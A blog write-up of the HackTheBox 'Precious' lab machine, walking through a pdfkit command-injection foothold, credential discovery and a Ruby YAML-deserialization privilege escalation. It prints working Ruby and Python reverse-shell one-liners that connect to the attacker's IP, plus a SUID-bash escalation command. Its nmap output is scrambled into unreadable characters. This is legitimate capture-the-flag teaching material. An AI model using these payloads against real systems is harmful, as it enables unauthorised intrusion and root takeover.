cwoellner.com ~ personal website & blog

Writeup of Precious From HackTheBox

Published on: Saturday, May 20, 2023

Getting a foothold

For the initial port scan, we use the following nmap command:

nmap -sS -A -Pn -T5 -p- -oN nmap.txt 10.10.11.189

And receive the following results:

N H N P 2 8 m o o O 2 0 _ _ a s t R / s / h h p t T t s t t t s c h 3 2 2 c t t s i h p - 0 5 5 p p p c s o h 7 6 6 - - a w S o o 2 o t s n u n T p s a 3 p i e p : A e t 8 2 3 e t r r T n k 4 : : n l v e ( 6 E e : e 0 e e p 0 5 y 5 f 5 : r o . 4 S s : e : : h - r 0 8 E s : 7 3 t D h t 3 1 R h 1 b d t i e 3 V 3 : : p d a f s c I : 9 c d o l C a 6 d n e r l o E 8 : : o r a s : 6 7 t : 1 t e V O e 5 a n 0 e d E p 3 : : g f n . n R e : c b i o g 1 c t S n 1 e 7 n l i 0 y c I S e : : x l n . ) p O S : 4 9 o x 1 . N H 2 1 8 1 w / 1 p 0 : : . 1 . o 8 : 6 4 1 r . 1 r . 6 1 5 8 e 1 8 t 4 6 : : . d 8 9 s p : c 8 0 i . 1 1 4 2 r 0 ( d : : e r D : 6 3 c e e 2 7 9 t s b 3 : : e i : e e t t a 5 e 7 o ) n 5 : : , : 4 a h 5 5 e e t 5 + 0 : : t 2 d : 9 3 p e f 6 c : f b 6 : : / i 1 : c 9 / l 1 3 7 1 p t u 0 : : r e 1 : c a e r 4 8 6 c e ( 7 : : i d p : 9 5 o r d 2 8 u t o 2 s c t ( ( . p o ( E E h c R C D t p o S D 2 b o l A S 5 / r ) A 5 t 2 ) 1 s . 9 0 ) ( ) n o - r e s p o n s e )

The website allows us to create a PDF of a submitted URL. When taking a closer look at the responses using ZAP we can see that pdfkit v0.86 is being used to generate the PDFs.

ZAP Response

A quick search reveals that this version of pdfkit is vulnerable to Command Injection: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 (I heavily recommend snyk for looking up CVEs, their pages often contain a PoC or a link to one)

Now all we need is the command for a reverse shell which can be found here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

In this case I use a ruby reverse shell since I already know that ruby is installed on the target.

On our machine, we start a web server and a listener:

python -m http.server &
nc -lvnp 8001

And then enter the following URL on the website:

http://10.10.14.159:8000/index.html?name=#{'%20`ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.14.159","8001");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'`'}

And we have access to a shell on the target system. Since our shell is not very nice to use, we verfiy that python is installed, open a second listener and start a second reverse shell, by entering the following command in our first shell:

python3 -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.14.159",8002));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

User Flag

One of the first things I do once I have access to shell is to run linpeas. I download the shell script from GitHub onto my machine and then use a local web server and curl to get it onto the target machine.

Once ran, the script shows us an unusual file/directory in a user’s home directory: /home/ruby/.bundle/config. In this file we can find the password for the user henry. We can now log in as henry using ssh.

...
╔══════════╣ Searching root files in home dirs (limit 30)
/home/
/home/henry/user.txt
/home/henry/.bash_history
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.bash_history
...

Root Flag

Since we have the password for henry we can run sudo -l to see if we can run programs as root:

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Let’s take a look at /opt/update_dependencies.rb:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The file /opt/update_dependencies.rb processes data from dependencies.yml which is linked via a relative path, meaning we can supply our own dependencies.yml with a malicious payload.

All we are missing is a function to abuse, after looking up some of the functions I found a RCE involving YAML.read(): https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/.

The payload shown can be used to either print out the root flag or to set the suid bit on /bin/bash (supply chmod a+s /bin/bash as command in the payload, followed by /bin/bash -p in the shell)